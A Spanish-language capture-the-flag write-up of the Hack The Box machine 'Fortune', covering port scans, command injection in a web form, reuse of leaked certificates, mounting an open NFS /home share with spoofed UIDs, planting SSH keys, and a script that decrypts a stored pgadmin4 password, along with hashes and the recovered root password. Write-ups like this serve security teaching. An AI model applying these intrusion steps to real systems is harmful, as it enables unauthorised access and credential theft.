Hack The Box - Fortune Writeup


NMAP 

A realizar un escaneo con nmap.
# Nmap 7.70 scan initiated Wed Mar 13 22:48:02 2019 as: nmap -sV -sC -A -o nmap.scan 10.10.10.127
Nmap scan report for 10.10.10.127
Host is up (0.17s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE    VERSION
22/tcp  open  ssh        OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA)
|   256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA)
|_  256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (ED25519)
80/tcp  open  http       OpenBSD httpd
|_http-server-header: OpenBSD httpd
|_http-title: Fortune
443/tcp open  ssl/https?
|_ssl-date: TLS randomness does not represent time
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=3/13%OT=22%CT=1%CU=40048%PV=Y%DS=2%DC=T%G=Y%TM=5C89893
OS:B%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10D%TI=RD%CI=RI%TS=22)OPS(O
OS:1=M54DNNSNW6NNT11%O2=M54DNNSNW6NNT11%O3=M54DNW6NNT11%O4=M54DNNSNW6NNT11%
OS:O5=M54DNNSNW6NNT11%O6=M54DNNSNNT11)WIN(W1=4000%W2=4000%W3=4000%W4=4000%W
OS:5=4000%W6=4000)ECN(R=Y%DF=Y%T=40%W=4000%O=M54DNNSNW6%CC=N%Q=)T1(R=Y%DF=Y
OS:%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=S%F
OS:=AR%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=A%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y
OS:%T=40%W=0%S=A%A=S%F=AR%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=FF%IPL=38%UN=0%RI
OS:PL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=N)

HTTPS 

Al visitar la pagina nos encontramos con lo siguiente, por lo que no podemos hacer nada por ahora. 

HTTP 

Con gobuster encontramos la siguiente ruta.
/fortune (Status: 301)
Utilizamos firefox para ver las peticiones que hace cuando enviamos una solicitud a una de las opciones, en cada opcion si se hace una peticion este nos devuelve de manera aleatoria un mensaje.

Y encontramos que, al editar las peticiones (POST db=fortunes), encontramos que podemos ejecutar comandos (RCE):

Al realizar una enumeracion de carpeta y archivos encontramos en la carpeta del usuario 'bob' (/home/bob/) certificados que pueden pertenecen a la pagina web https.
/home/bob
├── ca
│   ├── certs
│   │   └── ca.cert.pem
│   ├── crl
│   ├── index.txt
│   ├── index.txt.attr
│   ├── index.txt.old
│   ├── intermediate
│   │   ├── certs
│   │   │   ├── ca-chain.cert.pem
│   │   │   ├── fortune.htb.cert.pem
│   │   │   └── intermediate.cert.pem
│   │   ├── crl
│   │   ├── crlnumber
│   │   ├── csr
│   │   │   ├── fortune.htb.csr.pem
│   │   │   └── intermediate.csr.pem
│   │   ├── index.txt
│   │   ├── index.txt.attr
│   │   ├── newcerts
│   │   │   └── 1000.pem
│   │   ├── openssl.cnf
│   │   ├── private
│   │   │   ├── fortune.htb.key.pem
│   │   │   └── intermediate.key.pem
│   │   ├── serial
│   │   └── serial.old
│   ├── newcerts
│   │   └── 1000.pem
│   ├── openssl.cnf
│   ├── private [error opening dir]
│   ├── serial
│   └── serial.old
└── dba
    └── authpf.sql
La razon por la cual no podamos acceder a la pagina https es porque no tenemos el certificado de la misma, esta es una grafica de como funciona un certificado:

INFO: https://www.certsuperior.com/QueesunCertificadoSSL.aspx, https://docs.oracle.com/cd/E19226-01/820-7627/bncbs/index.html

Para poder acceder a la pagina debemos de crear nuestro archivo pkc12 el cual contiene el certificado y la clave, copiamos a nuestra maquina local los archivos intermediate.cert.pem e intermediate.key.pem, utilizando openssl generamos el certificado con el siguiente comando:

INFO: https://www.ssl.com/how-to/create-a-pfx-p12-certificate-file-using-openssl/, https://www.ibm.com/support/knowledgecenter/en/SSPH29_9.0.1/com.ibm.help.common.infocenter.aps/t_ConvertthepfxCertificatetopemFormat068.html
openssl pkcs12 -export -out cert.p12 -in intermediate.cert.pem -inkey intermediate.key.pem -passin pass:root -passout pass:root

Obtenemos el certificado y lo importamos a nuestro navegador en las configuraciones de certificado.

Visitamos la pagina en https y nos muestra lo siguiente:


Al visitar la pagina /generate nos muestra una clave publica agregada al los archivos de autorizacion ssh de la maquina y una clave privada con la cual nos podemos conectar al mismo.

Nos conectamos al servicio ssh con la clave generada y el usuario nfsuser, nos muestra el siguiente mensaje, pero nuestra shell no es interactiva:

Al revisar los procesos que corren en la maquina nos muestra un servicio de authpf:

Segun la documentacion de openbsd sobre Authpf nos dice que "es un intérprete (shell) para pasarelas de autenticación. Una pasarela de autenticación es como una pasarela de red normal (también llamada enrutador), con la diferencia que "los usuarios se deben autenticar ante la pasarela" antes de que se permita que pase el tráfico a través de ésta." 

INFO: https://www.openbsd.org/faq/pf/authpf.html#loginclass,https://home.nuug.no/~peter/pf/blug2011/authpf.html

Las reglas de authpf /etc/authpf/authpf.rules nos muestran que cualquier usuario ip ($user_ip) en este caso 'nfsuser' le de paso o permiso en los protocolos tcp udp.
ext_if = "em0"
pass in quick on $ext_if inet proto { tcp udp } from $user_ip to ($ext_if) keep state
Sabiendo que tenemos acceso a los protocolos tcp y udp volvemos a hacer un escaneo de puertos y encontramos los siguientes puertos abiertos:
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-21 04:58 GMT
Nmap scan report for 10.10.10.127
Host is up (0.18s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.9 (protocol 2.0)
80/tcp   open  http       OpenBSD httpd
111/tcp  open  rpcbind    2 (RPC #100000)
443/tcp  open  ssl/https?
2049/tcp open  nfs        2-3 (RPC #100003)
8081/tcp open  http       OpenBSD httpd

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.31 seconds
Encontramos que hay un servicio rpcbind y nfs que estan corriendo en la maquina, escaneamos el servicio rpcbind: 

RPCBIND 

Encontramos que el servicio NFS esta corriendo tanto en tcp y udp, por lo que podemos montar los sharename de la maquina localmente.
root@sckull:~/htb/fortune# rpcinfo -p 10.10.10.127
   program vers proto   port  service
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100005    1   udp    694  mountd
    100005    3   udp    694  mountd
    100005    1   tcp    944  mountd
    100005    3   tcp    944  mountd
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
root@sckull:~/htb/fortune# 

NFS 

Al revisar los puntos compartidos obtenemos que /home puede ser montadopor cualquiera.
root@sckull:~/htb/fortune# showmount -e 10.10.10.127
Export list for 10.10.10.127:
/home (everyone)
root@sckull:~/htb/fortune# 

ACCESO a /home 

Para acceder a la carpeta /home debemos montarlo localmente y asi poder acceder a las carpetas y archivos que se encuentran dentro.
root@sckull:~/htb/fortune# mkdir tmp_nfs
root@sckull:~/htb/fortune# mount -t nfs 10.10.10.127:/home /root/htb/fortune/tmp_nfs
root@sckull:~/htb/fortune# ls tmp_nfs/
bob  charlie  nfsuser
Observamos que hay tres usuarios de los cuales bob ya conocemos su interior, mas no el de charlie y nfsuser:
root@sckull:~/htb/fortune# ls -lah tmp_nfs/nfsuser/
total 16K
drwxr-xr-x 2 1002 1002 512 Nov  3 02:39 .
drwxr-xr-x 5 root root 512 Nov  3 01:19 ..
-rw-r--r-- 1 1002 1002 771 Oct 11 20:18 .cshrc
-rw-r--r-- 1 1002 1002 101 Oct 11 20:18 .cvsrc
-rw-r--r-- 1 1002 1002 359 Oct 11 20:18 .login
-rw-r--r-- 1 1002 1002 175 Oct 11 20:18 .mailrc
-rw-r--r-- 1 1002 1002 215 Oct 11 20:18 .profile
-rw-r--r-- 1 1002 1002  87 Oct 11 20:18 .Xdefaults
root@sckull:~/htb/fortune# ls -lah tmp_nfs/charlie/
ls: cannot open directory 'tmp_nfs/charlie/': Permission denied
root@sckull:~/htb/fortune# 
Podemos ver que a la carpeta del usuario charlie no tenemos acceso, para ello vamos a crear un usuario localmente y un grupo para poder acceder al interior, utilizamos stat para ver informacion de la carpeta, con lo cual vemos que /home/charlie tiene propiedades uid: 1000 y gid:1000.
root@sckull:~/htb/fortune# stat tmp_nfs/charlie/
  File: tmp_nfs/charlie/
  Size: 512        Blocks: 4          IO Block: 32768  directory
Device: 31h/49d Inode: 27648       Links: 3
Access: (0750/drwxr-x---)  Uid: ( 1000/ UNKNOWN)   Gid: ( 1000/ UNKNOWN)
Access: 2019-03-21 05:17:35.827314870 +0000
Modify: 2019-03-21 05:33:05.655948328 +0000
Change: 2019-03-21 05:33:05.655948328 +0000
 Birth: -
Creamos un usuario y grupo local para charlie:
root@kali:~# groupadd --gid 1000 charlie_group
root@kali:~# useradd --uid 1000 --groups charlie_group charlie_user
root@kali:~# sudo -u charlie_user ls -l tmp_nfs/charlie
Con ello logramos acceder y obtener tambien nuestra bandera 'user.txt'.


Ahora que tenemos acceso a la carpeta de charlie podemos agregar nuestra clave ssh a authorized_keys para poder logearnos con el servicio ssh como charlie

De la misma forma para el usuario bob:

ESCALACION DE PRIVILEGIOS 

Dentro de la carpeta charlie nos encontramos con un archivo mbox, que contiene un mensaje de bob para charlie.

Nos dice que bob cambio la contraseña para el usuario dba es la misma que la del usuario root, haciendo una enumeracion de carpetas y archivos nos encontramos un archivo pgadmin4.db que contiene tablas que le pertenecen a pgadmin3.4, utilizando sqlite db browser, dentro de este archivo encontramos una contraseña y usuario 'dba' especificamente en la tabla de 'server', tambien una tabla que contiene usuario y contraseña de bob y charlie.
Ruta del archivo: /var/appsrv/pgadmin4/pgadmin4.db

Tambien encontramos la ruta donde se encuentran los documentos de pgadmin dentro del archivo pgadmin4.ini:

dba 


bob y charlie 


Usuario ROOT 

En la ruta de pgadmin4 local (/usr/local/pgadmin4/pgadmin4-3.4/web/utils/), encontramos un archivo llamado crypto.py, en su interior encontramos funciones las cuales encriptan y desencriptan contraseñas (encrypt(), decrypt(), pad(), pqencryptpassword()), la funcion de encrypt() necesita un texto y una clave, la funcion decrypt() el texto encriptado (ciphertext) anteriormente con la funcion encrypt() y la clave, con estas dos funciones y la contraseña que se encuentra en la tabla de server del usuario dba, podemos intentar desencriptarla solo nos falta la clave (key). Dentro de la base de datos (pgadmin4.db) encontramos algunas claves (tabla -> keys) que podriamos utilizar para la funcion decrypt(), de igual forma los usuarios (tabla -> users) y contraseñas (tabla -> users). Localmente agregamos el siguiente codigo a nuestro archivo crypto.py:

if __name__ == '__main__':

    list_keys = ['root','operator','www','postgresql','pgadmin4','fortune','charlie',
                  'bob','nfsuser','authpf','admin','administrator','pgadmin3','Administrator','bob@fortune.htb',
                  'charlie@fortune.htb','user','saQWKx5BCyVZMH2weOiNv3Dsvzh4GchPM16kwBRYPxs=',
                  'R_EFY1hb236guS3jNq1aHyPcruXbjk7Ff-QwL6PMqJM=','qIhAhRt3xq_dzIEqyJQFmWnymFbO1cZVhbQaTWA-v9Q=',
                  'dba','postgres','$pbkdf2-sha512$25000$3hvjXAshJKQUYgxhbA0BYA$iuBYZKTTtTO.cwSvMwPAYlhXRZw8aAn9gBtyNQW3Vge23gNUMe95KqiAyf37.v1lmCunWVkmfr93Wi6.W.UzaQ',
                  '$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg']
    
    pass_dba = "utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz"
    
    for key in list_keys:
        k = str(user)
        r = decrypt(pass_dba, k)
        print(k +' : ' + r)
Esta porcion de codigo contiene una lista de las claves (keys) probables para la contraseña (pass_dba) del usuario dba que corresponde igualmente para el usuario root, dentro de las claves tambien encontramos usuarios, ya que una key podria ser o no el nombre de un usuario, de igual manera agregamos las contraseñas de la base de datos de los usuarios bob y charlie. En resumen agregamos a la lista todas las posibles claves que encontramos dentro de la maquina. Al correr nuestro script obtenemos el siguente resultado:

Nuestra contraseña para el usuario dba y para root es 'R3us3-0f-a-P4ssw0rdl1k3th1s?_B4D.ID3A!', la clave que fue satisfactoria fue una contraseña en este caso la contraseña de bob que se encuentra en la base de datos. Asi obtenemos nuestra bandera 'root.txt'



Sckullbock. Con la tecnología de Blogger.